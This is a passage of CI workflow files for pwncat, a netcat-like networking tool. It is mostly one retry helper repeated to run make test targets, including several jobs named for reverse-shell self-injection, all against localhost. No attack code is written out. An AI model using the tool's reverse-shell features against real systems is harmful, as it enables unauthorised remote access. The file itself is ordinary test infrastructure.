echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-macos-3.7.yml000066400000000000000000001215121414025024700221320ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: mac-3.7 on: pull_request: push: branches: - master tags: jobs: test: runs-on: macos-latest strategy: fail-fast: False name: "[x64] [macos] python-3.7" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.7 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" 